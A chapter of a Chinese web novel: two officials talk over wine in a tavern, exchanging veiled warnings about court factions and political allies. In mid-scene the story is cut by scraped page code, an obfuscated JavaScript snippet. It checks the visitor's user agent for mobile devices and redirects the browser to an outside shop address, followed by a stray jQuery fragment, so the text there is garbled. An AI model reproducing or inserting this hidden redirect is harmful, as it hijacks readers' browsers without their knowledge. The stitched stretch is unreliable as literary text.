12. 第十二章 酒肆夜话

作品:《墨青史

    雅间里,烛火不知何时已被跑堂悄然换过新的。火光在铜盏里轻轻一跳,将壁上二人的影子骤然拉长,又缓缓收回,映得杯中残酒泛起温润的琥珀光泽。那光晕晃动着,竟有些像白日里说书先生口中困龙潭的水色。?酒已酣,夜渐深。


    张砚搁下酒杯,身体向后靠进椅背,目光有些涣散地望着窗外渐起的万家灯火。长乐城的夜晚,远比白日更显繁盛,那一片煌煌光影之下,暗流涌动。


    他沉默了许久,久到皇甫青以为他已醉得睡去时,才听见他低低开口,声音像是从胸腔深处费力地挤出,带着酒液浸泡过的沙哑:


    “北门戍卫……是个极好的位置。”


    皇甫青没应声,只抬眼看他。


    张砚没看他,仍旧望着窗外,喉结滚动了一下,仿佛在斟酌词句:“我昨日路过北衙,见成都尉正在点校。”他顿了顿,手指无意识地摩挲着杯沿,“成家这些年……枝叶愈发繁茂了。”


    他终于转过脸,眼中酒意朦胧,却有一线不该出现在醉汉眼中的锐利清醒:“田相府前那对石狮子,听说还是成家老太爷当年从岭南运来的整块青玉所雕。如今成校尉掌着皇城外三营,又是大殿下亲舅……这狮子,怕是越蹲越稳了。”


    这话说得隐晦,却字字千斤。


    皇甫青的睫毛几不可察地颤动了一下。


    “王太傅近来常去城东大慈恩寺礼佛。”张砚的语速慢了下来,每个字都咬得清晰了些,“寺里那株百年菩提,今年花开得格外盛。我父亲前日下朝后去拜访,回来说太傅谈起《盐铁论》,对大殿下‘重农抑商、统制钱粮’的奏疏,很是赞赏。”


    雅间内安静得能听见烛芯“噼啪”的轻响。


    “这长安城啊……”张砚喉咙里滚出一声模糊的叹息,他抬手用力揉了揉额角,“看似棋盘方正,可每一条纵横之间,都藏着看不见的沟壑。一步踏错,不是落入这个局,便是跌进那个坑。”


    他忽地倾身向前,手肘抵在桌沿,声音压得极低,却字字如刀:“你在门禁之处,拦下的每一辆车、验过的每一块腰牌,看似按章办事,实则都是在划界。”他的呼吸有些急促,“玉雕狮子的主人、礼佛听经的太傅……他们的车马印信,你验与不验,如何验,都不是小事。”


    他盯着皇甫青,眼中那点醉意早已消散无踪:“张家管着铸币,朱家掌着禁军,赵大将军刚带着河西的军功回来——在有些人眼里,这三家站在一起,本身就是一杆旗。你我现在站在北门,就是这杆旗最前头的穗子,风往哪儿吹,穗子先动。”


    “你可知……”张砚的声音更低了,几乎是从齿缝里挤出,却字字如冰,“前朝有位城门郎,某日宵禁,恰逢太傅车驾晚归半刻。他开了门,三日后调任岭南;他没开门,三个月后,也去了岭南。”


    “区别只在于,”张砚顿了顿,声音轻得像叹息,“开门的那个,死在赴任路上;没开的那个,死在任所第二年春天。”


    话音未落——


    “笃。笃。笃。”


    三声短促、清晰、带着金石之音的叩击,硬生生截断了他未尽的话语。


    是皇甫青的手指。食指与中指并拢,骨节分明,在坚硬的楠木桌面上,不轻不重,却异常坚定地叩了三下。


    声音不大,落在此时,却如惊堂木炸响。


    张砚喉头猛地一哽,像被人猝然扼住。他张着嘴,后续的话全部噎在胸腔里。脸上因酒意和激动泛起的红潮迅速褪去,瞬间浮上一层懊恼的苍白。酒意在这一刻醒了七八分,冷汗悄悄爬上脊背。


    他立刻闭口,眼神倏然变得警惕,猛地扭头扫向雅间紧闭的格扇门,又侧耳倾听楼下动静,生怕方才那几句隐喻已隔墙有耳。


    屋内死寂。唯有楼下酒客们模糊的谈笑,伙计遥远的吆喝,像隔着厚重的水幕传来。


    皇甫青已收回了手,神色依旧沉静如水,仿佛刚才那带着警告意味的叩击并非出自他手。他甚至没有看张砚,只是垂眸,盯着自己面前那杯几乎未动的酒,长睫在眼下投出一小片阴影。


    良久。


    就在张砚以为对方会开口训斥自己失言,或干脆沉默以对时——


    皇甫青极轻微地,点了一下头。


    动作幅度小到几乎难以察觉,若非张砚正死死盯着他,恐怕都会错过。但那点头的意味,却沉重无比。不是赞同他的失态,而是……认可了他话里那些未尽之意。


    这一点头,胜过千言万语。


    张砚心中那块悬着的石头,非但没有落下,反而沉得更深,却也奇异地安定了几分。他明白了——眼前这位看似刚直不阿的武将,对那些玉雕狮子、菩提花开背后的派系脉络,看得远比旁人以为的要清晰。皇甫青知道他们是朱峻的人,知道朱峻是五皇子党的核心,更知道他们这些“新贵”被陛下摆在台前,本就是制衡大皇子一党的棋子。


    而刚才那三声叩击,不是否认,而是警告:这些话,心里明白就好,说出来就是祸。


    皇甫青终于抬起眼,目光平静地迎上张砚复杂难言的注视。他没有解释,没有宽慰,只是伸手,拿过那壶已温得恰到好处的酒,缓缓倾注,将两人面前空了的酒杯再次斟满。


    清亮的酒线注入杯中,声响细碎,却奇异地将空气中那紧绷的、令人窒息的沉默,冲开了一道缝隙。


    他端起自己那杯,向张砚示意。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176961|196899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >无需道歉,无需赘言。既然身在局中,便要做好棋子的本分——该看的时候看,该听的时候听,该沉默的时候,一字不多。


    张砚深吸一口气,压下心中翻腾的后怕与明悟,也端起酒杯。两只瓷杯在空中轻轻一碰,发出“叮”一声脆响,清越悠长,盖过了所有未尽之言。


    两人仰头,一饮而尽。


    酒液入喉,灼热一线,却也将某些更灼人的东西,暂时压了下去。


    接下来的时间,两人都未再提朝局,只偶尔说起军中旧事,或点评几句方才神话里的细节。酒一杯接一杯,菜渐渐凉透。窗外的灯火越来越盛,长乐城的夜,正展现出它最活色生香,也最扑朔迷离的一面。


    窗外更鼓隐约传来,夜已深沉。


    张砚扶着桌沿,有些摇晃地站起身。他按了按太阳穴,酒意仍在,神智却已清明许多。他整理了一下微皱的衣袍,朝皇甫青拱手,脸上重新挂起那副玩世不恭的公子笑容,只是眼底深处,多了些之前没有的东西——那是认清了棋盘位置后的清醒,也是踏入漩涡中心前的最后一点轻松。


    “今日……尽兴。”他笑道,语气轻松,仿佛刚才那番惊心动魄的交谈从未发生,“改日若有闲暇,皇甫兄务必赏光,来我府中小聚。舍下虽无珍馐,却藏了几坛不错的陈酿。”


    皇甫青也随之起身,身姿依旧挺拔如松。他抱拳还礼,答得简单干脆:“一定。”


    没有多余的客套,没有虚伪的推辞。两个字,便是承诺——既是私交的延续,也是在这盘大棋中,彼此心照不宣的同盟。


    两人相视一笑。这一笑里,有共同听过一场神话的默契,有交换过身世往事的坦诚,有触及凶险朝局的警惕,更有此刻认清了各自位置后,那种“既然都在同一片浪里沉浮”的觉悟。


    许多话,不必再说。


    许多事,已然不同。


    张砚先行一步,脚步略浮地下楼去了。皇甫青站在雅间窗边,看着那道天青色的身影融入楼下街市明明灭灭的灯火人流中,逐渐远去,直至不见。


    他独自站了一会儿,才转身,拿起搭在椅背上的墨色外袍,仔细穿好,抚平每一处褶皱。然后下楼,结账,步入长乐城深沉的夜色里。


    他的步伐很稳,背脊很直,一如他来时。


    只是无人知晓,那平静的面容之下,方才酒肆中的一番神话、一番隐喻、一番警告、一番点头,正如同投入深潭的石子,虽未激起惊涛骇浪,却已让潭底深处的波澜,悄然改变了涌动的方向。


    长夜漫漫。


    这帝都的棋局,人人皆在盘中。而执棋的手,或许不止一双。


    (本章完,约2250字)